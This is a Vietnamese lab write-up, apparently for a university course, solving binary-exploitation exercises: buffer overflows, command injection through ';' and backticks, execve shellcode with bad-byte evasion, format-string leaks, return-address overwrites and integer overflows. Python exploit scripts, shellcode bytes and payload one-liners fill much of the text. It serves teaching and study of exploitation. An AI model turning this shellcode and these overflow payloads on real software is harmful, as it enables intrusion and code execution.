# Giải thích LAB khai thác lỗ hổng phần mềm ## Level00 Đưa file thực thi của level00 vào ida, sau đó ấn F5 có thể thấy để hoàn thành bài này thì giá trị của biến v5 phải bằng 6969. Nhưng đọc code thì có thể thấy không có chỗ nào tác động được vào biến v5 ![image](https://hackmd.io/_uploads/HkqQU3e-Jl.png) Chương trình chỉ cho phép nhập vào biến **s** và chúng ta hoàn toàn có thể buffer overflow. Để buffer overflow thì cần phải biết địa chỉ của hai biến này trong stack cách nhau bao nhiêu byte. Thì trong ida đã ghi, biến **s** nằm ở **[esp+2h]** biến **v5** nằm ở **[esp+Ch]**. Lấy 0xC - 0x2 = 0xA (hệ hex) vậy cách nhau 10 byte. ![image](https://hackmd.io/_uploads/SJGRonxWkg.png) Vậy chỉ cần nhập 10 byte 'A' hoặc kí tự bất kì và sau đó là 2 byte là \x39\x1b\x00\x00 là được. Vì sao phải thêm \x00\x00 ở cuối là vì nó đánh dấu kết thúc chuỗi s. ```bash= python -c "'A'*10+'\x39\x1b\x00\x00'" | ./Level00 ``` ![image](https://hackmd.io/_uploads/HyV_C3lZyg.png) ## Level01 Ở bài 2 này, mục đích là cho chúng ta biết về việc có thể nối 2 lệnh của hệ thống vào với nhau. ![image](https://hackmd.io/_uploads/rJI9e6lWJx.png) Đề bài cho phép chúng ta nhập vào một chuỗi và nối chuỗi đó vào "echo hello" ví dụ như "echo hello; ls" thì cả echo hello và lệnh ls sẽ đều được thực hiện. Ngoài dấu ; có thể sử dụng |, xuống dòng,.. ![image](https://hackmd.io/_uploads/r1BnxMZW1x.png) ## Level02 Ở bài tiếp theo, ý tưởng vẫn là làm sao để ghép hai câu lệnh lại với nhau. Tuy nhiên, ở bài này các kí tự như "; |",... đều đã bị chặn. Chỉ còn một cách duy nhất có là kí tự backtick đó là đưa câu lệnh hệ thống vào trong **echo \`cat flag\`** . Ví dụ như thế này. ![image](https://hackmd.io/_uploads/ryPVZG-b1g.png) Nhìn code thì tương tự như level01, chương trình nối chuỗi chúng ta nhập vào lệnh echo Hello ![image](https://hackmd.io/_uploads/r1O0bzbbyg.png) ## Level03 Ở bài này thì đã ở độ khó cao hơn những bài trước. Đầu tiên chúng ta cần phải tìm hiểu về shell code. Thì khi mà chúng ta viết một chương trình C, làm sao để máy tính hiểu được? Máy tính chỉ có thể hiểu được mã nhị phân tức là 101010101. Nên sau khi chúng ta viết một chương trình C nó sẽ được compiler (trình biên dịch) biên dịch sang assembly và rồi từ assembly về dạng mã nhị phân. C -> Assembly -> Mã nhị phân. Ở dạng mã nhị phân chỉ có máy tính hiểu mà con người không hiểu vậy nên những nhà phát triển máy tính đã tìm ra một hệ số mà cả con người và máy tính đều hiểu là hệ thập lục phân (hex) nên assemblu -> hex (đây là shellcode) Và đoạn hex này chính là shellcode, nó tương đương với mã nhị phân mà máy tính hoàn toàn có thể thực thi đoạn mã này. Ngắn gọn thì > Shell code là mã máy thực hiện một đoạn lệnh nào đó, thường với mục đích đọc, ghi file hoặc tạo ra shell ### Tạo shellcode Để tạo shellcode thì chúng ta cần phải viết code assembly. Đặc biệt cần phải hiểu về syscall. Ở học phần này, hầu hết các bài đều ở 32bit nên mình sẽ chỉ nói về syscall của 32bit. Các bạn có thể tham khảo bảng syscall ở đây: https://syscalls32.paolostivanin.com/ ![image](https://hackmd.io/_uploads/r1H-PA--Je.png) Chắc ở học phần này, chúng ta chỉ tập trung vào syscall **sys_execve** vì nó cho phép chúng ta tạo ra shell hay gọi các lệnh của hệ thống. Hàm **sys_execve()** theo mô tả thì nó sẽ có 3 tham số ```C execve(const char *pathname, char *const _Nullable argv[],char *const _Nullable envp[]); ``` Với ý nghĩa của các tham số - Pathname là đường dẫn đến file chúng ta muốn thực thi (ví dụ /bin/sh) - argv[] là chuỗi các tham số của file thực thi (ví dụ như (cat flag)) - envp[] không rõ lắm :V mình thường để nó là null Như mô tả trong hình thì để gọi được lệnh này thanh ghi **eax** phải có giá trị là **0xb**, **ebx** sẽ là tham số pathname, **ecx** sẽ là argv, **edx** sẽ là envp Từ những điều trên hãy thử viết một đoạn shellcode để **cat flag** ```assembly section .text global _start _start xor eax,eax ; set eax to 0 push eax ; end of string push 0x7461632f ;"tac/" push 0x6e69622f ;"inb/" mov ebx,esp ; ebx chứa /bin/cat push eax ; end of string push 0x67616c66 ; chứa chuỗi flag mov ecx,esp push eax ; null push ecx ; file flag push ebx ; /bin/cat mov ecx,esp ; {/bin/cat,flag,null} xor eax,eax add eax,0xb int 0x80 ``` Có thể thấy là shell code chỉ có một section là .text mà không có các section như .data để lưu dữ liệu. Lí do là bởi: > Trong shellcode thường sử dụng dữ liệu kiểu chuỗi. Tham chiếu đến dữ liệu trong .data được thực hiện qua địa chỉ tuyệt đối Không thể sử dụng địa chỉ tuyệt đối trong shellcode (ngoại trừ địa chỉ của hàm thư viện lõi như libc) Cần có "mẹo" định địa chỉ tương đối Và "mẹo" ở đây là thay vì khai báo các biến thì chúng ta sẽ đẩy các chuỗi, dữ liệu vào stack, lợi dụng thanh ghi con trỏ là ESP. Để có được shell code thì chúng ta sẽ lưu code dưới dạng file asm. sau đó chạy các lệnh ```bash nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o shellcode ``` Có thể thử chạy file **shellcode** xem kết quả có đúng là nó đã cat file flag chưa. Một số lưu ý thêm nữa đó là >hàm gets(buf) dừng khi gặp dấu xuống dòng 🡪 shellcode không nên chứa 0x0A hàm strcpy(buf, src) sẽ dừng khi gặp ký tự kết thúc chuỗi trong src 🡪 shellcode không nên chứa 0x00 (NULL) ta muốn đưa shellcode vào buffer 🡪 kích thước shellcode càng nhỏ càng tốt Sau đó sử dụng lệnh này để lấy shellcode: ```bash objdump -d shellcode | grep '[0-9a-f]:' | grep -oP '\s\K[0-9a-f]{2}' | tr -d '\n' ``` ![image](https://hackmd.io/_uploads/S180sGfbJl.png) đây là lệnh objdump bình thường, có thể chạy full lệnh để lấy shell code ![image](https://hackmd.io/_uploads/ry282fGZJe.png) chuyển chuỗi này thành byte là đã có shell code. Ngoài việc tự viết shell code thì hoàn toàn có thể sử dụng các trang dưới để viết shellcode tự động. https://masterccc.github.io/tools/shellcode_gen/ https://defuse.ca/online-x86-assembler.htm Sau khi đã có shell code thì làm thế nào để khai thác và sử dụng nó đây. Tiếp tục với bài nào. Đầu tiên, gõ lệnh **gdb Level03** để debug với gdb ![image](https://hackmd.io/_uploads/rkw1aMGWye.png) Để xem code assembly hãy gõ lệnh **pdis main** ![image](https://hackmd.io/_uploads/HJmSTfGbke.png) Tiếp theo mình sẽ đặt breakpoint ở hàm gets để xem khi chúng ta nhập chuỗi vào, chuỗi sẽ được lưu vào đâu Gõ b* địa chỉ muốn đặt breakpoint ![image](https://hackmd.io/_uploads/ByiZSQzbJx.png) Ngoài breakpoint tại hàm gets, mình đặt breakpoint ở **ret** để xem địa chỉ của return ở đâu **b\* 0x0804851e** Sau đó start chương trình với lệnh **start** ![image](https://hackmd.io/_uploads/Sy3_IQGZ1g.png) Ở đây giao diện sẽ hiện registers và stack lên cho mọi người dễ nhìn. Đến đến được điểm breakpoint gõ **c** để chương trình tiếp tục chạy ![image](https://hackmd.io/_uploads/BJiiDmzb1l.png) Nó đã nhảy vào hàm gets. Quan sát xuống phần stack sẽ thấy địa chỉ của chuỗi chúng ta sẽ nhập vào là **0xbffff30c**. Hãy lưu giá trị này lại. Sau đó bấm **c** để tiếp tục chương trình. Sau đó nhập bất kì kí tự nào vào, nó sẽ chạy tiếp đến lệnh return. ![image](https://hackmd.io/_uploads/HJ44CBEZyl.png) Thì đại chỉ đầu tiên trong stack chính là địa chỉ của return. Lưu nó lại, sau đó lấy giá trị này trừ đi giá trị của string chúng ta nhập vào ở trên. ![image](https://hackmd.io/_uploads/r1x_CHVbJl.png) Ta có khoảng cách từ string đến return là 16. Vậy chỉ cần buffer overflow 16byte và đưa địa chỉ của shell code vào ô nhớ của return là đã có thể thực thi được shell code mong muốn ![image](https://hackmd.io/_uploads/SJLEbUVWyl.png) Từ đây mình có mã khai thác: ```python= import subprocess import binascii shellcode = "\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x66\x6c\x61\x67\x89\xe1\x50\x51\x53\x89\xe1\x31\xc0\x83\xc0\x0b\xcd\x80" binary = subprocess.Popen("./Level03",stdin=subprocess.PIPE,stdout=subprocess.PIPE) binary.stdout.read(36) diachi = binary.stdout.read(8) diachi = int(diachi,16) + 16 + 4 diachi = binascii.unhexlify(hex(diachi)[2:-1])[::-1] binary.stdout.read(33) binary.stdin.write('A'*16+diachi+shellcode+'\n') binary.stdin.flush() output_data = binary.stdout.read(100) print(output_data) ``` ![image](https://hackmd.io/_uploads/HJPcZUEZJl.png) ## Shellcode1 Từ những gì học được ở bài 3 thì mình đi làm thử bài tập về shellcode luôn ```C #include<stdio.h> #include<string.h> unsigned char code[50]; void BAD_BYTE() { printf("BAD BYE =))\n"); exit(0); } main() { printf("MAX-SIZE of shellcode is 50\nInput hex-encode shellcode\nEx: aabbccddeeff\n"); printf("BAD BYTE: 0B\n"); char input[100] = {0}; read(0, input, 100); for(int count = 0; count < strlen(input)-1; count += 2) { sscanf(&input[count], "%2hhx", &code[count/2]); char c = code[count/2]; if (c == 0) { printf("REALLY? SHELLCODE HAVE NULL BYTE?\n"); exit(0); } } if (strstr(code, "\x0b") != NULL) { BAD_BYTE(); } int (*ret)() = (int(*)())code; ret(); } ``` Có thể thấy chương trình cho phép chúng ta nhập vào shell code và thực thi shell code. Tuy nhiên, chương trình sẽ kiểm tra xem shellcode chúng ta nhập vào có null byte hay độ dài có nhỏ hơn 50byte hay không và kiểm tra xem trong shellcode có byte "0b" (tức là syscall đến execve). Nếu độ dài > 50 byte, có null byte hoặc 0b là nó sẽ không thực thi Thì có nhiều mẹo để "khử nullbyte" các bạn có thể đọc lại trong slide cũng đã viết rất chi tiết Về 0b thì mình có cách là add eax,0xa sau đó mình tăng eax lên ```assembly 0: 31 c9 xor ecx,ecx 2: f7 e1 mul ecx 4: 51 push ecx 5: 68 2f 2f 73 68 push 0x68732f2f a: 68 2f 62 69 6e push 0x6e69622f f: 89 e3 mov ebx,esp 11: 04 0a add al,0xa 13: fe c0 inc al 15: cd 80 int 0x80 # 31C9F7E151682F2F7368682F62696E89E3040AFEC0CD80 ``` ## Shellcode2 Ở bài 2 này thì tương tự bài 1, tuy nhiên đề bài đã chặn không cho sử dụng lệnh **mov ebx,esp** và chặn không cho **add eax,0xb** ![image](https://hackmd.io/_uploads/BJNZ5DEbke.png) Vậy thì thay vì mov ebx,esp thì chúng ta sẽ sử dụng lệnh pop ra ebx ```assembly _start: xor ecx,ecx push ecx mul ecx push 0x68732f2f ;"hs/" push 0x6e69622f ;"inb/" push esp pop ebx add al,0xa inc al int 0x80 ``` ![image](https://hackmd.io/_uploads/S1VN2DE-Jl.png) ## Shellcode-3 Ở bài shellcode 3 này thì khó hơn là ngoài chặn lệnh mov ebx, esp, chặn mov eax,0xb thì nó chặn thêm chuỗi "bin" shell code của chúng ta không được chứa bất kì kí tự nào trong chuỗi bin. ```assembly= if (strstr(code, "\x0b") != NULL) BAD_BYTE(); if (strstr(code, "\x89") != NULL) BAD_BYTE(); if (strstr(code, "\xe3") != NULL) BAD_BYTE(); if (strstr(code, "\x62") != NULL) // b BAD_BYTE(); if (strstr(code, "\x69") != NULL) // i BAD_BYTE(); if (strstr(code, "\x6e") != NULL) // n BAD_BYTE(); ``` Thì có 2 cách Cách đầu tiên là chúng ta sẽ lấy giá trị của "nib/" là 0x6e69622f trừ đi một giá trị để biến mất 6e6962, sau đó chúng ta sẽ + lại giá trị đó hoặc biến chuỗi "bin" thành in hoa "BIN". Ví dụ hex(0x6e69622f - 0x20202020) = '0x4e49420f' Vậy chúng ta sẽ có code assembly như sau ```assembly _start: xor ecx,ecx push ecx mul ecx push 0x68732f2f ;"hs/" mov eax,0x4e49420f add eax,0x20202020 push eax ;"inb/" push esp pop ebx xor eax,eax add al,0xa inc al int 0x80 ``` ## Level04 Đến với level4 thì chúng ta cần phải tìm hiểu về lỗi format string. Lỗi này do đâu gây ra. Bình thường khi chúng ta in một kí tự, một số hay một chuỗi trong C thì chúng ta sẽ làm như sau ```c int main(){ int a = 10; printf("%d", a); } ``` Thì đây là cách hoạt động đúng, cách làm đúng. Tuy nhiên thay vì dùng như hình, lỗi gây ra khi chúng ta vô tình truyền thẳng chuỗi nhập vào hàm **printf, sprintf,...**. Ví dụ như sau là một chương trình có lỗi format string ```c int main(){ char s[128]; gets(s); printf(s); } ``` Có thể thấy s nhập vào được truyền thẳng vào hàm printf. Từ đó có thể gây ra như sau ```c int main(){ char s[128]; gets(s); printf("%p"); } ``` Có thể thấy nếu s mình nhập vào là %p thì đằng sau nó không có tham số nào hết,bình thường nó sẽ lấy giá trị của biến nào đó được truyền đằng sau, nhưng giờ không có vậy nó sẽ lấy gì để in ra? Thì theo mình tìm hiểu, đối với kiến trúc 32bit nó sẽ in ra các giá trị trên stack. Còn đối với 64bit thì nó sẽ in ra các thanh ghi trước, sau đó mới in giá trị trong stack. Nhưng trong môn học này chúng ta chỉ quan tâm đến 32bit nên mình sẽ không lạm bàn đến. ![image](https://hackmd.io/_uploads/HkQKnzBZJg.png) ![image](https://hackmd.io/_uploads/B1663zrZkl.png) Nguồn: https://www.youtube.com/watch?v=1lhFy6N6oww&t=416s ## Format-String-leak-flag-in-mem-stack ![image](https://hackmd.io/_uploads/ryemEzvW1x.png) GDB file thực thi, **pdis vun** để dissassembly hàm **vun** ![image](https://hackmd.io/_uploads/rkHOEfw-yl.png) Đặt breakpoint tại hàm printf, start, nhập kí tự bất kì ![image](https://hackmd.io/_uploads/H19QHGwW1l.png) Quan sát các giá trị của stack. Gõ stack 20 để thấy nhiều địa chỉ stack hơn ![image](https://hackmd.io/_uploads/SJwYHfvZJl.png) Đã có thể thấy vị trí thứ 11 là vị trí của flag ![image](https://hackmd.io/_uploads/HkiVLfvZkx.png) ![image](https://hackmd.io/_uploads/SJ44uMPWkx.png) ## Format-String-leak-flag-in-mem-bss ![image](https://hackmd.io/_uploads/SytAafPWke.png) Đọc source code có thể thấy bài này khác bài trước ở chỗ, nó đọc file nhưng không lưu vào trong stack, mà lưu vào vùng BSS do biến **secret nằm ngoài hàm main** Dissassembly hàm main thì có thể thấy có lệnh push trước khi fscanf, và giá trị push vào này chính là địa chỉ chứa chuỗi flag được đọc vào bss. ![image](https://hackmd.io/_uploads/SyRHJmPZkl.png) Vậy ta cần đưa địa chỉ này vào stack, và sử dụng %s để đọc chuỗi tại địa chỉ này. ![image](https://hackmd.io/_uploads/BJmttSP-yx.png) Ở đây mình nhập vào 4 lần %p và kết quả là nó đã lea ra giá trị lần lượt là - 0xbffff270 - 0x10 - 0x0 - %p Vậy vị trí thứ 4 trong stack chính là những gì chúng ta nhập vào, từ đó suy ra có thể đưa địa chỉ vào stack và dùng %s tại vị trí thứ 4 trong stack là sẽ đọc được flag ![image](https://hackmd.io/_uploads/BJrBorDbyx.png) ## Bufferoverflow-homemade-cookie-v1 ![image](https://hackmd.io/_uploads/S1y6jPDbyx.png) Mục đích của bài này là kích hoạt được hàm cat_flag. Thì có thể tận dùng lỗ hổng buffer overflow để ghi địa chỉ hàm cat_flag vào return. ![image](https://hackmd.io/_uploads/HkDK2PvWyg.png) Tuy nhiên, đề bài yêu cầu i không khác 0xC00C1E mà i ở địa chỉ [esp+1ch], biến s được nhập vào ở địa chỉ [esp+Ch] 0x1c - 0xc = 16, nên nếu nhập 16 kí tự A thì từ kí tự số 17 sẽ là giá trị của i. Vậy chúng ta chỉ cần nhập 16 kí tự và ghi giá trị của **0xc00c1e** vào lại i, như vậy sẽ không bị thay đổi giá trị của i. Tiếp theo mình dissassembly hàm vun và đặt breakpoint tại hàm gets() và breakpoint tại return ![image](https://hackmd.io/_uploads/Byce0pDZJl.png) Lợi dụng việc sau khi nhập và in ra màn hình, hàm vun sẽ trả về quay trở lại hàm main, tuy nhiên chúng ta sẽ lợi dụng BOF để ghi đè địa chỉ của hàm **cat_flag** lên return nên thay vì chương trình nhảy trờ lại hàm main, nó sẽ nhảy lại hàm cat_flag Đặt breakpoint tại hàm gets và return. ![image](https://hackmd.io/_uploads/H1GykAPbke.png) Sau đó gõ run Lưu giá trị biến s trên stack (0xbfffefbc) ![image](https://hackmd.io/_uploads/H19WcjFZkg.png) gõ c để chạy tiếp đến return và lưu địa chỉ return trên stack lại (0xbfffefdc) ![image](https://hackmd.io/_uploads/Bkn45jYZkx.png) ![image](https://hackmd.io/_uploads/HJwwcsKZJl.png) Khoảng cách giữa string và return là 32. Vậy chỉ cần ghi đè 32 kí tự là đã đến ô nhớ của return. Tuy nhiên cần lưu ý, khi ghi 16 kí tự, từ kí tự 17 sẽ là giá trị của biến v2. Vậy payload cần phải là ``` python print -c''"A"*16 + "\x1e\x0c\xc0\x00"'' ``` Mục đích là để giá trị của biến v2 không bị thay đổi. Tiếp theo, chúng ta sẽ ghi đè đến return. Vậy return về đâu? May mắn là chương trình đã có sẵn hàm cat_flag, chúng ta chỉ cần return về địa chỉ hàm cat_flag, hàm này sẽ tự thực thi. ![image](https://hackmd.io/_uploads/rkARioY-ke.png) Có 2 cách là sử dụng pdis hoặc x/ để có địa chỉ hàm cat_flag, như hình thì địa chỉ hàm cat_flag là **0x080484cb** Vậy ta sẽ có payload đầy đủ là ```bash= python -c 'print("A"*16+"\x1e\x0c\xc0\x00"+"A"*12+"\xcb\x84\x04\x08"+"\n")' ``` ![image](https://hackmd.io/_uploads/ryYJToFb1e.png) ## Bufferoverflow-homemade-cookie-v2 Bài này khó hơn bài trước ở chỗ chương trình sẽ kiểm tra xem biến v2 bằng với cookie hay không, nên nếu chúng ta buffer overflow ghi đè từ biến s đến return tràn qua biến v2 sẽ làm v2 bị thay đổi giá trị, dẫn đến việc giá trị không bằng với cookie nữa. ![image](https://hackmd.io/_uploads/SJczJoFW1l.png) Thêm nữa là cookie được sinh ra một cách ngẫu nhiên. ![image](https://hackmd.io/_uploads/BJKB-sYZ1e.png) Quan sát trong ida, có thể thấy biến v2 nằm ở [esp+1Ch], biến s nằm ở [esp+ch], cách nhau 0x1c - 0xc = 16. Vậy nếu ghi 16 kí tự thì từ kí tự 17 sẽ là giá trị của v2. Đầu tiên chúng ta disassembly hàm vun với gdb ![image](https://hackmd.io/_uploads/rJhmfoFbJl.png) Sau đó đặt breakpoint tại hàm gets và return ![image](https://hackmd.io/_uploads/rJqLMjFW1l.png) Start chạy chương trình. ![image](https://hackmd.io/_uploads/ryBrmoFZkl.png) Tại điểm breakpoint hàm gets, lưu địa chỉ của biến s được nhập vào Sau đó đến điểm ret thì lưu địa chỉ của hàm return lại ![image](https://hackmd.io/_uploads/ByDuQjF-Jl.png) lấy địa chỉ của ret trừ đi địa chỉ của string s nhập vào ta được khoảng cách giữa 2 địa chỉ là 32. Vậy nhập 32 kí tự từ chuỗi string nhập vào sẽ đến ô nhớ của return. Quan trọng là return về đâu? Thì trong chương trình đã có sẵn hàm cat_flag. Chúng ta sẽ return về địa chỉ của hàm cat_flag và hàm cat_flag sẽ được thực thi. Có 2 cách để có địa chỉ hàm cat_flag ![image](https://hackmd.io/_uploads/B1xPV4sY-kl.png) Sử dụng pdis hoặc x/ thì địa chỉ của hàm cat_flag là **0x804857b** Từ đây ta có payload ```bash= python -c print '"A"*16+"\x30\x00\x00\x00"+"A"*12+"\x7b\x85\x04\x08"' ``` Cookie sinh ngẫu nhiên nên việc chúng ta mặc địch nó bằng 0x30 phải dựa vào may mắn, tỉ lệ là 1/256 khá thấp. Nên mình đã viết một script tương tác với chương trình và lấy giá trị cookie được in ra. ```python= from subprocess import Popen, PIPE import binascii import struct p = Popen(['stdbuf','-o0','./BufferHomeV2'], stdin=PIPE, stdout=PIPE, stderr=PIPE) cookie_output = p.stdout.readline().strip() print(cookie_output) cookie=int(cookie_output,16) print(struct.pack(">I",cookie)[::-1]) payload = "A" * 16 + struct.pack(">I",cookie)[::-1]+"A"*12+"\x7b\x85\x04\x08" p.stdin.write(payload + "\n") p.stdin.flush() output = p.stdout.readline() print("Program output:") print(output) p.stdin.close() p.wait() ``` ![image](https://hackmd.io/_uploads/HJweBoY-Jg.png) ## Integer-Overflow1 Lỗi integer overflow (tràn số nguyên) xảy ra khi một phép toán trên số nguyên (integer) vượt quá giới hạn lưu trữ của kiểu dữ liệu đang sử dụng, dẫn đến kết quả không chính xác hoặc không mong muốn. Mỗi kiểu số nguyên có giới hạn tối đa và tối thiểu mà nó có thể lưu trữ. Khi giá trị vượt quá giới hạn này, nó sẽ "quay vòng" (wrap around) về giá trị nhỏ nhất hoặc lớn nhất của kiểu đó. Cách thức hoạt động của Integer Overflow Giới hạn kiểu số nguyên: Mỗi kiểu số nguyên (như int, short, long, unsigned int) có một phạm vi giá trị xác định. Ví dụ, trong nhiều ngôn ngữ lập trình: Một int 32-bit có phạm vi từ -2,147,483,648 đến 2,147,483,647. Một unsigned int 32-bit có phạm vi từ 0 đến 4,294,967,295. Phép toán vượt quá giới hạn: Khi thực hiện phép toán vượt quá giá trị lớn nhất hoặc nhỏ nhất của kiểu dữ liệu, số nguyên sẽ quay vòng. Ví dụ: nếu một int 32-bit có giá trị 2,147,483,647 và bạn cộng thêm 1, giá trị sẽ quay về -2,147,483,648 thay vì tăng lên 2,147,483,648. Điều này cũng xảy ra với số âm, nếu bạn giảm giá trị nhỏ nhất (-2,147,483,648) thì nó sẽ quay lại giá trị lớn nhất (2,147,483,647). Quay trở lại với bài, đọc code của đề ta thấy ![image](https://hackmd.io/_uploads/Sy_cghYbyg.png) Đề bài cho phép nhập vào một chuỗi và sử dụng hàm atoi() để chuyển chuỗi này về kiểu số rồi gán vào biến temp ví dụ khi nhập "1234" thì temp = atoi("1234") và temp = 1234 Tuy nhiên, vấn đề ở đây là temp có kiểu **unsigned int**. Kiểu **unsigned int** có khoảng giá trị từ **0 đến 4,294,967,295** Còn hàm **atoi** sẽ trả về số nguyên ở kiểu **interger** và kiểu **int** lại có khoảng giá trị từ **-2,147,483,648 đến 2,147,483,647**. -> Nên nếu chúng ta nhập vào -1, atoi sẽ trả về -1 nhưng -1 lại nằm ngoài khoảng giá trị của **unsigned int** nên nó sẽ quay vòng và gán cho temp giá trị lớn nhất của kiểu **unsigned int** là 4,294,967,295 -> Như vậy temp chắc chắn lớn hơn 9999. ![image](https://hackmd.io/_uploads/ryJgM3YWJl.png) ## Interger-Overflow-2 ![image](https://hackmd.io/_uploads/B1Jaf3FZ1e.png) Ở bài 2 thì đề bài cho chúng ta một số tiền là 5000, và cho nhập vào một số cá cược, sau đó lấy số tiền ban đầu trừ đi số tiền cá cược nhập vào. Nếu số tiền sau khi trừ vẫn lớn hơn 5000 thì chúng ta sẽ chiến thắng. Có thể bạn sẽ nghĩ là nhập số âm vào ví dụ nhập -1 thì 5000 - (-1) = 5001 vậy là thắng đúng không. Tuy nhiên, chương trình đã chặn không cho nhập số âm và không cho nhập lớn hơn số tiền ban đầu. Vậy bây giờ phải làm sao? Đề bài cho nhập vào một chuỗi và chuyển chuỗi đó thành số nguyên với hàm **strtoul()** Thì hàm này sẽ chuyển chuỗi về kiểu **unsigned long int**, **unsigned long int** có khoảng giá trị **từ 0 đến 4,294,967,295**. Nhưng biến your_bet lại có kiểu là **int**, kiểu **int** có khoảng giá trị từ **-2,147,483,648 đến 2,147,483,647**. Vậy thì có phải nếu chúng ta nhập vào 4,294,967,295 sẽ lớn hơn và nằm ngoài khoảng giá trị của **int**, thì lúc này chương trình sẽ quay vòng và chuyển số rất lớn này thành số âm, cụ thể là -1 ->4294967295 ![image](https://hackmd.io/_uploads/HycaVhtWJl.png)